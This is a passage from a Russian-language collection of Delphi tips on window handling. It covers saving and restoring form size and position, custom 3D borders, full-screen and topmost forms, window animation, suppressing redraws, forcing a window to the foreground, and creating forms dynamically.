              WriteString('Name', grid.Columns[j].FieldName);
              WriteInteger('Width', grid.Columns[j].Width);
            end;
            CloseKey();
          end; // for( j )
        end;
  finally
    CloseKey();
    Free;
  end;
end;

procedure SetWndPos(frm: TControl; lSetSize: Boolean = True;
  cClass: string = '');
var
  rct: TRect;
  oReg: TRegistry;
  nShow, i, j, k: Integer;
  grid: TDBGrid;
  cName: string;
begin
  nShow := Ord(wsNormal);
  {--- текущие параметры (на случай, если нет в реестре) ---}
  rct := frm.BoundsRect;
  if (cClass = '') then
    cClass := frm.ClassName;
  if (frm is TForm) then
    nShow := Ord((frm as TForm).WindowState);
  {--- считать из реестра ---}
  oReg := TRegistry.Create();
  with (oReg) do
  try
    RootKey := HKEY_CURRENT_USER;
    {--- ... размер окна ---}
    if (OpenKeyReadOnly(cRegKey + cClass)) then
    begin
      if (frm is TForm) then
        nShow := ReadInteger('Show');
      if (ValueExists('Left')) then
        rct.Left := ReadInteger('Left');
      if (ValueExists('Top')) then
        rct.Top := ReadInteger('Top');
      if (ValueExists('Right')) then
        rct.Right := ReadInteger('Right');
      if (ValueExists('Bottom')) then
        rct.Bottom := ReadInteger('Bottom');
    end;
    CloseKey();
    {--- ... размеры и положение колонок в Grid'ах ---}
    for i := 0 to frm.ComponentCount - 1 do
      if (frm.Components[i].ClassName = 'TDBGrid') then
      begin
        grid := TDBGrid(frm.Components[i]);
        for j := 0 to grid.Columns.Count - 1 do
        begin
          if (OpenKeyReadOnly(cRegKey + cClass + '\' + grid.Name + '\' +
            IntToStr(j))) then
          begin
            cName := ReadString('Name');
            for k := 0 to grid.Columns.Count - 1 do
              if (grid.Columns[k].FieldName = cName) then
              begin
                grid.Columns[k].Index := j;
                break;
              end;
            grid.Columns[j].Width := ReadInteger('Width');
          end;
          CloseKey();
          {--- экстремальные ширины - нормировать ---}
          grid.Columns[j].Width := Max(grid.Columns[j].Width, 3);
          grid.Columns[j].Width := Min(grid.Columns[j].Width,
            grid.ClientWidth - 3);
        end; // for( j )
      end;
  finally
    CloseKey();
    Free;
  end;
  {--- применить считанное к окну ---}
  if (lSetSize) then
    frm.BoundsRect := rct
  else
  begin
    frm.Top := rct.Top;
    frm.Left := rct.Left;
  end;
  if ((frm is TForm) and (nShow = Ord(wsMaximized))) then
    (frm as TForm).WindowState := wsMaximized;
end;

procedure FitDeskTop(frm: TControl);
var
  rct: TRect;
begin
  rct := frm.BoundsRect;
  if (rct.Top < 0) then
    rct.Top := 0
  else if (rct.Bottom >= Screen.DeskTopHeight) then
    rct.Top := rct.Top + Screen.DeskTopHeight - rct.Bottom - 1;
  if (rct.Left < 0) then
    rct.Left := 0
  else if (rct.Right >= Screen.DeskTopWidth) then
    rct.Left := rct.Left + Screen.DeskTopWidth - rct.Right - 1;
  rct.Bottom := rct.Top + frm.Height;
  rct.Right := rct.Left + frm.Width;
  frm.BoundsRect := rct;
end;

Пример использования:

{
0. не забудьте поменять константу для СВОЕЙ ветки в реестре
1. после создания окна перед Show
2. перед frm.Release (удалением) надо вызывать SaveWndPos
}

procedure TfrmCard.FormCreate(Sender: TObject);
begin
  // прочий код здесь
  SetWndPos(Self);
end;

procedure TfrmCard.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  // прочий код здесь
  SaveWndPos(Self);
  Action := caFree;
end;
К заголовку




" Сохранение размеров, позиции и состояния окна
Приведу код WindowRestorer - восстановителя размера и состояния окна.

ОПИСАНИЕ: Вы наверное замечали, что профессионально написанные программы "запоминают" состояние и позицию окон
с момента их последнего показа? А большинство RAD-приложений это игнорируют? Вы можете исправить эту ошибку,
взяв на вооружение этот модуль. Он позволяет сохранять позицию, размер и состояние окна, поэтому пользователь,
открыв его вновь, увидит его в том же состоянии, в котором он видел его в последний раз.

ИСПОЛЬЗОВАНИЕ: Поместите WINRSTOR в список используемых модулей главной или любой другой формы, состояние,
размер и позицию которой вы хотите сохранить. (Если вы сэкономить время и для восстановления дочерних форм
использовать WinSaveChildren и WinRestoreChildren из главной формы, вы должны объявить этот модуль только в
главной форме.)

В MainForm.Create, инициализируйте глобальный объект WinRestorer следующим образом (он должен предварительно
быть объявлен, но еще не инициализирован):

GlobalWinRestorer := TWinRestorer.create( Application, TRUE, WHATSAVE_ALL);


Или так:

GlobalWinRestorer := TWinRestorer.create( Application, TRUE, [location, size, state]);


Затем в MainForm.Destroy вы должны разрушить глобальный объект WinRestorer следующим образом:

GlobalWinRestorer.free;


Хорошее место для сохранения статуса формы - в обработчике события queryclose или в специально созданной кнопке
или пункте меню. Я обычно создаю этот пункт в меню "Файл" с именем '&Сохранение рабочей области' и обрабатываю
следующим образом:

GlobalWinRestorer.SaveChildren(Self, [default]);


И при закрытии основной формы необходимо сделать следующее:

GlobalWinRestorer.SaveWin(Self, [WHATSAVE_ALL]);


Восстановить состояние дочерних форм можно следующим образом:

GlobalWinRestorer.RestoreWin(Self, [default]);


Я же переместил данный код в обработчик события show моей главной формы:

GlobalWinRestorer.RestoreWin(Self, [default]);
GlobalWinRestorer.RestoreChildren(Self, [default]);


Подсказки: Если вы установили TForm.Position в poScreenCenter или что-то подобное, данный модуль вам не
поможет. poDesigned кажется, работает как положено. Можно добавить обработку исключения, если вы пытаетесь
установить верхнюю или левую позицию при значении формы poScreenCentere, но при этом вы должны быть
осторожными при использовании WinRestoreChildren. Я не проверял это со значениями координат (позиции) и оставил
это на усмотрение разработчиков.

unit WinRstor;

interface

uses SysUtils, Forms;

type
  {=============================================================}

  {------------------------------------------------------------------
  Восстановитель окон классовых объектов и связанных типов.
  -------------------------------------------------------------------}
  EWinRestorer = class(Exception);
  TWhatSave = (default, size, location, state);
  STWhatSave = set of TWhatSave;
  TWinRestorer = class(TObject)

  protected
    mIniFile: string;
    mIniSect: string[80];
    mIsInitialized: boolean;
    mDefaultWhat: STWhatSave;
  public
    constructor Create(TheApp: TApplication;

      LocalDir: boolean; DefaultWhatSave: STWhatSave);
    {Если localDir = true, каталог ini = каталогу приложения.
    Else, ini dir is the windows dir.}
    procedure SaveWin(TheForm: TForm; What: STWhatSave);
    procedure SaveChildren(TheMDIForm: TForm; What: STWhatSave);
    procedure RestoreWin(TheForm: TForm; What: STWhatSave);
    procedure RestoreChildren(TheMDIForm: TForm; What: STWhatSave);
    property IniFileName: string read mIniFile;
  end;

const

  WHATSAVE_ALL = [size, location, state];

var
  GlobalWinRestorer: TWinRestorer;

implementation

uses IniFiles;

constructor TWinRestorer.create;
var
  fname, path: string[100];
begin

  inherited create;
  {Получаем имя ini-файла}

  if default in DefaultWhatSave then
    raise EWinRestorer.create(
      'Попытка инициализации параметров с позицией окна по умолчанию ' +
      ' с установленным элементом [default]. ' +
      'Параметры по умолчанию могут содержать только установленные элементы -
      [size, location, state]. ')
  else
    mDefaultWhat := DefaultWhatSave;

  fname := ChangeFileExt(ExtractFileName(TheApp.exeName), '.INI');
  if LocalDir then
  begin {вычисляем путь и добавляем к нему имя файла}
    path := ExtractFilePath(TheApp.exeName);
    if path[length(path)] <> '\' then
      path := path + '\';
    fname := path + fname;
  end;
  {заполняем поля объекта}

  mIniFile := fname;
  mIniSect := 'WindowsRestorer';
  {Для культуры напишем некоторое примечание
  в секцию с именем [WinRestorer Notes]}
end;

procedure TWinRestorer.RestoreWin;

var
  FormNm, SectionNm: string[80];
  ini: TIniFile;

  n, l, t, w, h: integer; {Left, Top Width, Height}
begin

  ini := TIniFile.create(mIniFile);
  try
    SectionNm := mIniSect;
    FormNm := TheForm.classname;
    if default in What then
      What := mDefaultWhat;
    {При необходимости обновляем состояние окна}

    if state in What then
      n := ini.ReadInteger(SectionNm, FormNm + '_WindowState', 0);
    case n of
      1: TheForm.WindowState := wsMinimized;
      2: TheForm.WindowState := wsNormal;
      3: TheForm.WindowState := wsMaximized;
    end;
    {При необходимости обновляем размеры и позицию.}

    with TheForm do
    begin
      l := left;
      t := top;
      h := height;
      w := width;
    end; {Сохраняем текущие значения.}
    if size in What then
    begin
      w := ini.ReadInteger(SectionNm, FormNm + '_Width', w);
      h := ini.ReadInteger(SectionNm, FormNm + '_Height', h);
    end;
    if location in What then
    begin
      t := ini.ReadInteger(SectionNm, FormNm + '_Top', t);
      l := ini.ReadInteger(SectionNm, FormNm + '_Left', l);
    end;
    TheForm.SetBounds(l, t, w, h);
  finally
    ini.free;
  end;
end;

procedure TWinRestorer.RestoreChildren;
var
  i: integer;
begin

  if TheMDIForm.formstyle <> fsMDIForm then
    raise
      EWinRestorer.create('Попытка сохранения размеров дочернего
        окна для не-MDI окна родителя.')
  else
    for i := 0 to TheMDIForm.MDIChildCount - 1 do
      RestoreWin(TheMDIForm.MDIChildren[i], what);
end;

procedure TWinRestorer.SaveWin;
var
  FormNm, SectionNm: string[80];
  w: STWhatsave;
  ini: TIniFile;

begin

  ini := TIniFile.create(mIniFile);
  try
    SectionNm := mIniSect;
    FormNm := TheForm.ClassName;
    if default in What then
      w := mDefaultWhat
    else
      w := mDefaultWhat;
    if size in w then
    begin
      ini.WriteInteger(SectionNm, FormNm + '_Width', TheForm.Width);
      ini.WriteInteger(SectionNm, FormNm + '_Height', TheForm.Height);
    end;
    if location in w then
    begin
      ini.WriteInteger(SectionNm, FormNm + '_Top', TheForm.Top);
      ini.WriteInteger(SectionNm, FormNm + '_Left', TheForm.Left);
    end;
    if state in w then
      case TheForm.WindowState of
        wsMinimized: ini.WriteInteger(SectionNm, FormNm + '_WindowState', 1);
        wsNormal: ini.WriteInteger(SectionNm, FormNm + '_WindowState', 2);
        wsMaximized: ini.WriteInteger(SectionNm, FormNm + '_WindowState', 3);
      end;
  finally
    ini.free;
  end;
end;

procedure TWinRestorer.SaveChildren;
var
  i: integer;
begin

  if TheMDIForm.formstyle <> fsMDIForm then
    raise
      EWinRestorer.create('Попытка восстановления размеров дочернего
        окна для не-MDI окна родителя.')
  else
    for i := 0 to TheMDIForm.MDIChildCount - 1 do
      SaveWin(TheMDIForm.MDIChildren[i], what);
end;

initialization
end.

К заголовку




" Текущая позиция окна
Текущую позицию можно получить от холста, используя Windows API функцию GetCurrentPosition:

CurrentX := LoWord( GetCurrentPosition( Canvas.Handle ) ) ;
CurrentY := HiWord( GetCurrentPosition( Canvas.Handle ) ) ;

К заголовку




" Трехмерные формы с изменяющимися размерами
Попробуйте нижеприведенные обработчики событий WMNCPaint и WMNCHitTest.

При этом форма должна иметь свойство BorderStyle равным Sizeable, так как код использует область границ для
создания 3D эффекта и предоставляет пользователю возможность изменения размера формы.

Для запрещения изменения размеров формы вы должны включить обработчик события WMNCHitTest, для обратного
эффекта не включайте его в ваш код.

procedure TForm1.WMNCPaint(var Msg: TWMNCPaint);
var
  DC: HDC;
  Frame_H: Integer;
  Frame_W: Integer;
  Menu_H: Integer;
  Caption_H: Integer;
  Frame: TRect;
  Extra: Integer;
  Canvas: TCanvas;
begin
  { Задаем значения некоторым параметрам окна }
  Frame_W := GetSystemMetrics(SM_CXFRAME);
  Frame_H := GetSystemMetrics(SM_CYFRAME);
  if (Menu <> nil) then
    Menu_H := GetSystemMetrics(SM_CYMENU)
  else
    Menu_H := -1;
  Caption_H := GetSystemMetrics(SM_CYCAPTION);
  GetWindowRect(Handle, Frame);
  Frame.Right := Frame.Right - Frame.Left - 1;
  Frame.Left := 0;
  Frame.Bottom := Frame.Bottom - Frame.Top - 1;
  Frame.Top := 0;
  { Позволяем нарисовать стандартные границы формы }
  inherited;
  { Перерисовываем область границ в 3-D стиле }
  DC := GetWindowDC(Handle);
  Canvas := TCanvas.Create;
  try
    with Canvas do
    begin
      Handle := DC;
      { Левая и верхняя граница }
      Pen.Color := clBtnShadow;
      PolyLine([Point(Frame.Left, Frame.Bottom), Point(Frame.Left, Frame.Top),
        Point(Frame.Right, Frame.Top)]);
      { Правая и нижняя граница }
      Pen.Color := clWindowFrame;
      PolyLine([Point(Frame.Left, Frame.Bottom),
        Point(Frame.Right, Frame.Bottom),
          Point(Frame.Right, Frame.Top - 1)]);
      { Левая и правая граница, 1 пиксел скраю }
      Pen.Color := clBtnHighlight;
      PolyLine([Point(Frame.Left + 1, Frame.Bottom - 1),
        Point(Frame.Left + 1, Frame.Top + 1),
          Point(Frame.Right - 1, Frame.Top + 1)]);
      { Правая и нижняя граница, 1 пиксел скраю }
      Pen.Color := clBtnFace;
      PolyLine([Point(Frame.Left + 1, Frame.Bottom - 1),
        Point(Frame.Right - 1, Frame.Bottom - 1),
          Point(Frame.Right - 1, Frame.Top)]);
      { Разность области изменяемых границ }
      for Extra := 2 to (GetSystemMetrics(SM_CXFRAME) - 1) do
      begin
        Brush.Color := clBtnFace;
        FrameRect(Rect(Extra, Extra, Frame.Right - Extra + 1, Frame.Bottom -
          Extra + 1));
      end;
      { Левая и верхняя граница области заголовка }
      Pen.Color := clBtnShadow;
      PolyLine([Point(Frame_W - 1, Frame_H + Caption_H + Menu_H - 1),
        Point(Frame_W - 1, Frame_H - 1),
          Point(Frame.Right - Frame_W + 1, Frame_H - 1)]);
      { Левая и верхняя граница области заголовка }
      Pen.Color := clBtnHighlight;
      PolyLine([Point(Frame_W - 1, Frame_H + Caption_H + Menu_H - 1),
        Point(Frame.Right - Frame_W + 1, Frame_H + Caption_H + Menu_H - 1),
          Point(Frame.Right - Frame_W + 1, Frame_H - 1)]);
    end;
  finally
    Canvas.Free;
    ReleaseDC(Handle, DC);
  end; { try-finally }
end;

procedure TForm1.WMNCHitTest(var Msg: TWMNCHitTest);
var
  HitCode: LongInt;
begin
  inherited;
  HitCode := Msg.Result;
  if ((HitCode = HTLEFT) or (HitCode = HTRIGHT) or
    (HitCode = HTTOP) or (HitCode = HTBOTTOM) or
    (HitCode = HTTOPLEFT) or (HitCode = HTBOTTOMLEFT) or
    (HitCode = HTTOPRIGHT) or (HitCode = HTBOTTOMRIGHT)) then
  begin
    HitCode := HTNOWHERE;
  end;
  Msg.Result := HitCode;
end;

К заголовку




" Форма во весь экран
{
  Make your application like a game. Full Screen.
  Disable all of the system keys.
}

procedure TForm1.FormCreate(Sender: TObject);
var
  HTaskbar: HWND;
  OldVal: LongInt;
begin
  try
    // Find handle of TASKBAR
    HTaskBar := FindWindow('Shell_TrayWnd', nil);
    // Turn SYSTEM KEYS off, Only Win 95/98/ME
    SystemParametersInfo(97, Word(True), @OldVal, 0);
    // Disable the taskbar
    EnableWindow(HTaskBar, False);
    // Hide the taskbar
    ShowWindow(HTaskbar, SW_HIDE);
  finally
    with Form1 do
    begin
      BorderStyle := bsNone;
      FormStyle   := fsStayOnTop;
      Left        := 0;
      Top         := 0;
      Height      := Screen.Height;
      Width       := Screen.Width;
    end;
  end
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
var
  HTaskbar: HWND;
  OldVal: LongInt;
begin
  //Find handle of TASKBAR
  HTaskBar := FindWindow('Shell_TrayWnd', nil);
  //Turn SYSTEM KEYS Back ON, Only Win 95/98/ME
  SystemParametersInfo(97, Word(False), @OldVal, 0);
  //Enable the taskbar
  EnableWindow(HTaskBar, True);
  //Show the taskbar
  ShowWindow(HTaskbar, SW_SHOW);
end;
-----------------------------------------------


procedure TForm1.FormShow(Sender: TObject);
var
  r : TRect;
begin
  SystemParametersInfo(SPI_GETWORKAREA, 0, @r,0);
  Form1.SetBounds(r.left, r.top, r.Right - r.left, r.bottom - r.top);
end;


К заголовку




" Форма поверх всех других приложений
Мне необходимо поместить Delphi-форму ДЕЙСТВИТЕЛЬНО поверх других приложений, не просто поверх всех форм
приложения (что просто), а постоянно, даже если я использую, к примеру, EXCEL.

Попробуй использовать Windows API функцию SetWindowPos(). Примерно так...

with MyForm do
  SetWindowPos(Handle,
    HWND_TOPMOST,
    Left,
    Top,
    Width,
    Height,
    SWP_NOACTIVATE or SWP_NOMOVE or SWP_NOSIZE);


Возможно вам понадобиться вызывать данную функцию в обработчиках события OnShow(), OnDeactivate(), и
OnActivate() вашей формы.
---------------------------------------------------------


Форма должна иметь нормальный стиль (normal style), необходимо лишь переписать процедуру CreateParams:

procedure TFloatingToolbar.CreateParams( var Params: TCreateParams );
begin
  inherited CreateParams( Params );
  with Params do
  begin
    Style := Style or ws_Overlapped;
    WndParent := MainForm.Handle;
  end;
end;

К заголовку




" Анимация окна - AnimateWindow
Функция AnimateWindow дает Вам возможность производить специальные эффекты при показе или сокрытии окон.
Имеются четыре типа мультипликации: ролик, слайд, свертывание или развертывание и плавное альфа-перетекание.
Синтаксис

function AnimateWindow(hwnd: HWND, dwTime: DWord, dwFlags: DWord);

Параметры

    * hwnd - Дескриптор окна, которое анимируется. Вызывающий поток должен владеть этим окном.
    * dwTime - Устанавливает, сколько необходимо времени, чтобы воспроизвести мультипликацию, в миллисекундах
Как правило, воспроизведение мультипликации занимает 200 миллисекунд.
    * dwFlags - Определяет тип мультипликации. Этот параметр может быть одно или несколько нижеследующих
значений. Обратите внимание! что, по умолчанию, эти флажки дают желаемый результат при показе окна. Чтобы
получать желаемый результат при сокрытии окна, используйте флажок AW_HIDE и логический оператор OR с
соответствующими флажками.
          o AW_SLIDE Использует слайдовую анимацию. По умолчанию используется анимационный ролик (прокрутка
мультипликации). Этот флажок игнорируется тогда, когда пользуется с флажком AW_CENTER.
          o AW_ACTIVATE Активизирует окно (при показе окна). Не используйте это значение совместно с AW_HIDE.
          o AW_BLEND Использует эффект постепенного изменения прозрачности окна. Этот флажок может быть
использован только в том случае, если параметр hwnd - окно верхнего уровня.
          o AW_HIDE Скрывает окно. По умолчанию, окно показывается на экран.
          o AW_CENTER Делает вид окна сжатым в точку, если используется флажок AW_HIDE или раскрытым из точки
до полного размера, если флажок AW_HIDE не используется. Различные предписывающие флаги не имеют никакого действия.
          o AW_HOR_POSITIVE Анимирует окно слева направо. Этот флажок может быть использован с роликом или
слайдом мультипликации. Он игнорируется, когда используется с флажком AW_CENTER или AW_BLEND.
          o AW_HOR_NEGATIVE Анимирует окно справа налево. Этот флажок может быть использован с роликом или
слайдом мультипликации. Он игнорируется, когда используется с флажком AW_CENTER или AW_BLEND.
          o AW_VER_POSITIVE Анимирует окно сверху вниз. Этот флажок может быть использованы с роликом или
слайдом мультипликации. Он игнорируется, когда используется с флажком AW_CENTER или AW_BLEND.
          o AW_VER_NEGATIVE Анимирует окно снизу вверх. Этот флажок может быть использован с роликом или
слайдом мультипликации. Он игнорируется, когда используется с флажком AW_CENTER или AW_BLEND.

Возвращаемые значения

Если функция завершается успешно, величина возвращаемого значения - не ноль. Если функция завершается с ошибкой,
величина возвращаемого значения - ноль. Функция завершится ошибкой в нижеследующих ситуациях: Если окно
использует регион окна. Windows XP: Это обстоятельство не заставляет функцию завершаться ошибкой. Если окно
уже видимое, и Вы пробуете выводить на экран окно. Если окно уже скрытое, и Вы пробуете скрыть окно. Если нет
заданного направления прокрутки для слайда или ролика. При попытке анимировать дочернее окно с флажком AW_BLEND.
Если поток не владеет окном. Обратите внимание! что, в этом случае функция AnimateWindow завершается ошибкой, а
GetLastError возвращает значение ERROR_SUCCESS. Чтобы получать расширенные данные об ошибках, вызовите функцию
GetLastError.

Замечания

При использовании слайда или прокрутки мультипликации, Вы должны задать направление. Это может быть или
AW_HOR_POSITIVE, AW_HOR_NEGATIVE, AW_VER_POSITIVE, или AW_VER_NEGATIVE. Вы можете комбинировать флажки
AW_HOR_POSITIVE или AW_HOR_NEGATIVE с AW_VER_POSITIVE или AW_VER_NEGATIVE, чтобы анимировать окно по диагонали.
Оконные процедуры для окна и его дочерних окон должны обрабатывать любое сообщение WM_PRINT или WM_PRINTCLIENT.
Диалоговые окна, органы управления и стандартные органы управления уже обрабатывают WM_PRINTCLIENT. Заданная по
умолчанию оконная процедура уже обрабатывает WM_PRINT. Если дочернее окно отображается частично отсеченным,
когда оно анимируется, то будет иметь дырки, где оно отсечено. AnimateWindow поддерживает окна RTL. Избегайте
анимировать окно, которое имеет тень, потому что оно производит видимое спонтанное дерганье мультипликации.

Вот примерчики:

procedure TForm1.FormShow(Sender: TObject);
begin
  AnimateWindow(Handle, 500, AW_CENTER or AW_SLIDE);
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  AnimateWindow(handle, 500, AW_BLEND or AW_HIDE);
end;
К заголовку




" Анимация форм при сворачивании и разворачивании
{
In Win9X or NT4, there's a 'zooming effect' when an application is minimized
to the taskbar or restored from the taskbar.
Delphi applications don't have this zooming effect.
You can switch the effect on or off with the following piece of code:
}
 Info: TAnimationInfo;
 begin
   ZeroMemory(@Info,SizeOf(Info));
   Info.cbSize := SizeOf(TAnimationInfo);
   BOOL(Info.iMinAnimate) := Value;
   SystemParametersInfo(SPI_SETANIMATION, SizeOf(Info), @Info, 0);
 end;

 procedure TForm1.Button1Click(Sender: TObject);
 begin
   SetAnimation(True);
 end;
К заголовку




" Временно запретить форме перерисовываться
Danny Thorpe (Borlandeer) посоветовал мне способ избежать использования LockWindowUpdate и, соответственно,
 избежать излишнего мерцания экрана. Во многих случаях более эффективным способом будет посылка сообщения
WM_SETREDRAW, позволяющая блокировать/разблокировать форму, не затрагивая при этом остальные окна.

Так, чтобы временно запретить форме перерисовываться, необходим следующий код:

Perform(WM_SETREDRAW, 0, 0);


... и, чтобы возвратиться к нормальному состоянию:

Perform(WM_SETREDRAW, 1, 0);
Refresh;
--------------------------------------------------------


LockWindowUpdate(Memo1.Handle);
...
...
LockWindowUpdate(0);


К заголовку




" Вывести окно на передний план
{
  Windows 98/2000 doesn't want to foreground a window when
  some other window has the keyboard focus.
  ForceForegroundWindow is an enhanced SetForeGroundWindow/bringtofront
  function to bring a window to the front.
}


 {
  Manchmal funktioniert die SetForeGroundWindow Funktion
  nicht so, wie sie sollte; besonders unter Windows 98/2000,
  wenn ein anderes Fenster den Fokus hat.
  ForceForegroundWindow ist eine "verbesserte" Version von
  der SetForeGroundWindow API-Funktion, um ein Fenster in
  den Vordergrund zu bringen.
}


 function ForceForegroundWindow(hwnd: THandle): Boolean;
 const
   SPI_GETFOREGROUNDLOCKTIMEOUT = $2000;
   SPI_SETFOREGROUNDLOCKTIMEOUT = $2001;
 var
   ForegroundThreadID: DWORD;
   ThisThreadID: DWORD;
   timeout: DWORD;
 begin
   if IsIconic(hwnd) then ShowWindow(hwnd, SW_RESTORE);

   if GetForegroundWindow = hwnd then Result := True
   else
   begin
     // Windows 98/2000 doesn't want to foreground a window when some other
    // window has keyboard focus

    if ((Win32Platform = VER_PLATFORM_WIN32_NT) and (Win32MajorVersion > 4)) or
       ((Win32Platform = VER_PLATFORM_WIN32_WINDOWS) and
       ((Win32MajorVersion > 4) or ((Win32MajorVersion = 4) and
       (Win32MinorVersion > 0)))) then
     begin
       // Code from Karl E. Peterson, www.mvps.org/vb/sample.htm
      // Converted to Delphi by Ray Lischner
      // Published in The Delphi Magazine 55, page 16

      Result := False;
       ForegroundThreadID := GetWindowThreadProcessID(GetForegroundWindow, nil);
       ThisThreadID := GetWindowThreadPRocessId(hwnd, nil);
       if AttachThreadInput(ThisThreadID, ForegroundThreadID, True) then
       begin
         BringWindowToTop(hwnd); // IE 5.5 related hack
        SetForegroundWindow(hwnd);
         AttachThreadInput(ThisThreadID, ForegroundThreadID, False);
         Result := (GetForegroundWindow = hwnd);
       end;
       if not Result then
       begin
         // Code by Daniel P. Stasinski
        SystemParametersInfo(SPI_GETFOREGROUNDLOCKTIMEOUT, 0, @timeout, 0);
         SystemParametersInfo(SPI_SETFOREGROUNDLOCKTIMEOUT, 0, TObject(0),
           SPIF_SENDCHANGE);
         BringWindowToTop(hwnd); // IE 5.5 related hack
        SetForegroundWindow(hWnd);
         SystemParametersInfo(SPI_SETFOREGROUNDLOCKTIMEOUT, 0, TObject(timeout), SPIF_SENDCHANGE);
       end;
     end
     else
     begin
       BringWindowToTop(hwnd); // IE 5.5 related hack
      SetForegroundWindow(hwnd);
     end;

     Result := (GetForegroundWindow = hwnd);
   end;
 end; { ForceForegroundWindow }


 // 2. Way:
//**********************************************

procedure ForceForegroundWindow(hwnd: THandle);
   // (W) 2001 Daniel Rolf
  // http://www.finecode.de
  // rolf@finecode.de
var
   hlp: TForm;
 begin
   hlp := TForm.Create(nil);
   try
     hlp.BorderStyle := bsNone;
     hlp.SetBounds(0, 0, 1, 1);
     hlp.FormStyle := fsStayOnTop;
     hlp.Show;
     mouse_event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
     mouse_event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
     SetForegroundWindow(hwnd);
   finally
     hlp.Free;
   end;
 end;

 // 3. Way:
//**********************************************
// by Thomas Stutz

{
  As far as you know the SetForegroundWindow function on Windows 98/2000 can
  not force a window to the foreground while the user is working with another window.
  Instead, SetForegroundWindow will activate the window and call the FlashWindowEx
  function to notify the user. However in some kind of applications it is necessary
  to make another window active and put the thread that created this window into the
  foreground and of course, you can do it using one more undocumented function from
  the USER32.DLL.

  void SwitchToThisWindow (HWND hWnd,  // Handle to the window that should be activated
  BOOL bRestore // Restore the window if it is minimized
);

}

 procedure SwitchToThisWindow(h1: hWnd; x: bool); stdcall;
   external user32 Name 'SwitchToThisWindow';
          {x = false: Size unchanged, x = true: normal size}


 procedure TForm1.Button2Click(Sender: TObject);
 begin
   SwitchToThisWindow(FindWindow('notepad', nil), True);
 end;
К заголовку




" Вылет окна
Если Вы хотите ввести в изумление пользователя с первых минут его использования Вашего приложения, тогда
 самый верный способ - заставить окно “вылететь”, а не появиться обычным способом! Сделать это довольно
легко, надо только описать два события: OnShow (на появление формы) и OnClose (на закрытие формы)Выглядеть
это будет так:

procedure TForm1.FormShow(Sender: TObject);
var
  RectSmall, RectNormal: TRect;
begin
  RectSmall := Rect(0, 0, 0, 0);
  RectNormal := Form1.BoundsRect;
  DrawAnimatedRects(GetDesktopWindow, IDANI_CAPTION, RectSmall, RectNormal);
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
var
  RectSmall, RectNormal: TRect;
begin
  RectSmall := Rect(0, 0, 0, 0);
  RectNormal := Form1.BoundsRect;
  DrawAnimatedRects(GetDesktopWindow, IDANI_CAPTION, RectNormal, RectSmall);
end;


Мы объявляем две переменные класса TRect (От англ. Rectangle - прямоугольник ). Называем их, например RectSmall
и RectNormal. Для RectSmall мы задаём нули: (0,0,0,0), тем самым указав начало координат, т.е. левый верхний угол
экрана. В RectNormal помещаем рамку формы с помощью функции BoundsRect. Функция DrawAnimatedRects создаёт
перетекание начальной рамки в конечную. В событии OnShow мы из маленькой рамки делаем большую – окно
вылетает, а в событии OnClose большая рамка перетекает в маленькую – окно улетает!
----------------------------------------


{
  A lot of Windows applications show a nice zooming animation when they
  minimize/maximize their windows. Ofcourse you can do this too!
  Microsoft provides the DrawAnimatedRects() function for this purpose and I'll
  show you how to use it.

  As an example I'll show how to show an animation that you can use to minimize
  your application to the system tray area. This example doesn't actually minimize
  the application, it only shows the animation.

  First create a new application and put a button on the form. Use the following
  OnClick-handler for the button:
}

 procedure TForm1.Button1Click(Sender: TObject);
 var
   FormRect, TrayRect: TRect;
   hTray: THandle;
 begin
   // Get handle of tray window
  hTray := FindWindowEx(FindWindow('Shell_TrayWnd', nil), 0,'TrayNotifyWnd', nil);

   if hTray <> 0 then
    begin
     // This is the source rect for the animation.
    FormRect := BoundsRect;

     // Get tray window's coordinates as a TRect. This will be the animation's destination rect.
    GetWindowRect(hTray, TrayRect);

     {
      Now perform the actual animation. Note that this code only shows the
      animation. It does NOT minimize this application to the tray. I leave
      that up to yourself ;-)

      Also notice that the Delphi Help documents are very wrong about this
      function! Use the official MSDN docs located Microsoft's website.
      Instead of IDANI_CAPTION you can also use IDANI_OPEN and IDANI_CLOSE, but
      they don't seem to do anything... Maybe they are for future use?
    }
     if not DrawAnimatedRects(Handle, IDANI_CAPTION, FormRect, TrayRect) then
      begin
       MessageDlg('DrawAnimatedRects() failed!', mtError, [mbOK], 0);
     end;
   end
    else
    begin
     MessageDlg('Can''t get tray window handle!', mtError, [mbOK], 0);
   end;
 end;
К заголовку




" Динамическое создание формы
Я хочу следующее:

    * мой компонент должен "динамически" создавать форму.
    * я не хочу включать имя модуля создаваемой формы в список используемых модулей моей текущей формы!!!

Ок, но модуль, содержащий форму, должен включаться в ваш EXE-файл, после чего вы должны вызвать RegisterClass.
Наилучшее место для размещения вызова - секция инициализации модуля, определяющего форму:

unit MyUnit;

interface

type
TMyForm = class(TForm)

...

implementation

...

initialization
RegisterClass(TMyForm);
end.


Теперь вы можете создавать экземпляр этой формы из любого места программы, например так:

var
SomeForm: TForm;
FormClass: TFormClass;
...
FormClass := TFormClass(FindClass('TMyForm'));
SomeForm := FormClass.Create(Application);
...

К заголовку




" До динамического создания формы узнать, существует ли она
{
  Q: How to know whether a form already exist before I dynamically create it ?

  A: See the Forms and FormCount property of TScreen. You can iterate
     through the forms, and test to see if your form is there.
}

 function IsFormOpen(const FormName : string): Boolean;
 var
   i: Integer;
 begin
   Result := False;
   for i := Screen.FormCount - 1 DownTo 0 do
     if (Screen.Forms[i].Name = FormName) then
     begin
       Result := True;
       Break;
     end;
 end;

 // Example: Showing a TForm.
// First check, if the Form (here Form2) is open. If not, create it.

procedure TForm1.Button1Click(Sender: TObject);
 begin
   if not IsFormOpen('Form2') then
     Form2 := TForm2.Create(Self);

   Form2.Show
 end;

 { For MDI Children }

 function IsMDIChildOpen(const AFormName: TForm; const AMDIChildName : string): Boolean;
 var
   i: Integer;
 begin
   Result := False;
   for i := Pred(AFormName.MDIChildCount) DownTo 0 do
     if (AFormName.MDIChildren[i].Name = AMDIChildName) then
     begin
       Result := True;
       Break;
     end;
 end;

 // Example: Showing a MDI Child.
// First check, if the MDI Child is open. If not, create it.

procedure TForm1.Button2Click(Sender: TObject);
 begin
